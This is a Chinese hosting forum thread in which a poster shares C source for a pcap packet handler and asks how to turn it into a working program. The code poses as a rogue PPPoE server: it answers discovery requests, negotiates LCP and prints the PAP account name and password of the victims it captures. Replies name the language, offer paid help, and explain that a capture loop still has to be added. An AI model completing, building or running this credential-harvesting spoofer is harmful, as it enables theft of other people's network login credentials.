全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 1289|回复: 12
打印 上一主题 下一主题

帮忙看看这个 什么语言的源码 。怎么把程序弄出来啊??

[复制链接]
跳转到指定楼层
1#
发表于 2012-12-1 21:37:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 454309099 于 2012-12-1 22:10 编辑

帮个忙 。。对于loc 的大神 不难啊。
原帖: http://blog.sina.com.cn/s/blog_40b025790100feg2.html
  1. void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
  2. {
  3. int i;
  4. struct tm *ltime;
  5. char timestr[16];
  6. time_t local_tv_sec;
  7. MAC_header *mac_header;
  8. PPP_header *ppp_header;
  9. PAP_header *pap_header;
  10. mac_header = (MAC_header *)pkt_data;

  11. //发现阶段
  12. if (mac_header->Type == 0x6388){
  13.   ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));
  14.   if(ppp_header->code == 0x09){ //客户端请求发现ppp服务器 PADI
  15.    send_pado_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  16.    
  17.    puts("开始欺骗!");
  18.   }
  19.   if (ppp_header->code == 0x19 && mac_header->MAC_Destination[0] == 0x00 && mac_header->MAC_Destination[1] == 0x03 && mac_header->MAC_Destination[2] == 0x0d && mac_header->MAC_Destination[3] == 0x97 && mac_header->MAC_Destination[4] == 0xfd && mac_header->MAC_Destination[5] == 0x71) //确定使用此ppp服务器  PADR
  20.   {
  21.    puts("欺骗成功!正在建立连接!");
  22.    cnt = 0;
  23.    send_pads_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  24.    send_lcp_request_packet(mac_header->MAC_Source);
  25.    
  26.    
  27.   }
  28.   //exit(0);
  29. }
  30. //会话阶段
  31. if (mac_header->Type == 0x6488) //&& mac_header->MAC_Source[0] == 0x00 && mac_header->MAC_Source[1] == 0x03 && mac_header->MAC_Source[2] == 0x0d && mac_header->MAC_Source[3] == 0x97 && mac_header->MAC_Source[4] == 0xfd && mac_header->MAC_Source[5] == 0x71)
  32. {
  33.   //printf(".");
  34.   
  35.   ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));
  36.   if (ppp_header->protocol == 0x21c0 && mac_header->MAC_Source[5] != 0x71) //LCP //回应确认code
  37.   {
  38.    printf("%d\n\n",*(INT8U *)((int)ppp_header + sizeof(PPP_header)));

  39.    if (*(INT8U *)((int)ppp_header + sizeof(PPP_header)) == 1){
  40.     if (cnt == 1){
  41.      puts("发送确认lcp包");
  42.      send_lcp_ack_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  43.      cnt = 0;
  44.     }else{
  45.      cnt++;
  46.     }         
  47.    }
  48.    if (*(INT8U *)((int)ppp_header + sizeof(PPP_header)) == 2){
  49.     puts("发送拒绝lcp包");
  50.     send_lcp_refuse_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  51.    }
  52.   }

  53.   if (ppp_header->protocol == 0x23c0) //PAP
  54.   {
  55.    puts("!!!!!!!!!!!!!!!! \n");
  56.    pap_header = (PAP_header *)((int)ppp_header + sizeof(PPP_header));
  57.    printf("帐号:");
  58.    for (i = 0; i < pap_header->idlen; i++)
  59.    {
  60.     printf("%c", ((char *)pap_header)[sizeof(PAP_header) + i -1]);
  61.    }
  62.    
  63.    printf("\n密码:");
  64.    
  65.    for (i = 0; i < 6; i++)
  66.    {
  67.     printf("%c", ((char *)pap_header)[sizeof(PAP_header) + pap_header->idlen + i]);
  68.    }
  69.    puts("");
  70.    //exit(0);
  71.   }
  72. }
  73. }
复制代码
2#
发表于 2012-12-1 21:40:55 | 只看该作者
c

3#
发表于 2012-12-1 21:41:34 | 只看该作者
mac 苹果
4#
 楼主| 发表于 2012-12-1 22:03:16 | 只看该作者
lazyzhu 发表于 2012-12-1 21:40
c

这个 界面 需要 自己做 ???帮毛搞了
5#
发表于 2012-12-1 22:03:56 | 只看该作者
明显是C
6#
发表于 2012-12-1 22:05:17 | 只看该作者
5000元帮搞定
7#
 楼主| 发表于 2012-12-1 22:08:38 | 只看该作者
hepac 发表于 2012-12-1 22:05
5000元帮搞定

我汗 ..抢钱 .
8#
 楼主| 发表于 2012-12-1 22:10:35 | 只看该作者
远坂时臣 发表于 2012-12-1 22:03
明显是C

http://blog.sina.com.cn/s/blog_40b025790100feg2.html  原文章

这个程序应该怎么弄出来啊?
9#
发表于 2012-12-1 22:11:29 | 只看该作者
只是个函数,还要加一个监听的部分,把监听到的数据包给这个函数,会模拟连接,然后记录请求的密码,看来LZ要干坏事哦。
10#
 楼主| 发表于 2012-12-1 22:17:39 | 只看该作者
meta168 发表于 2012-12-1 22:11
只是个函数,还要加一个监听的部分,把监听到的数据包给这个函数,会模拟连接,然后记录请求的密码,看来LZ ...

   求教求教 .
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2026-4-14 05:48 , Processed in 0.127725 second(s), 13 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表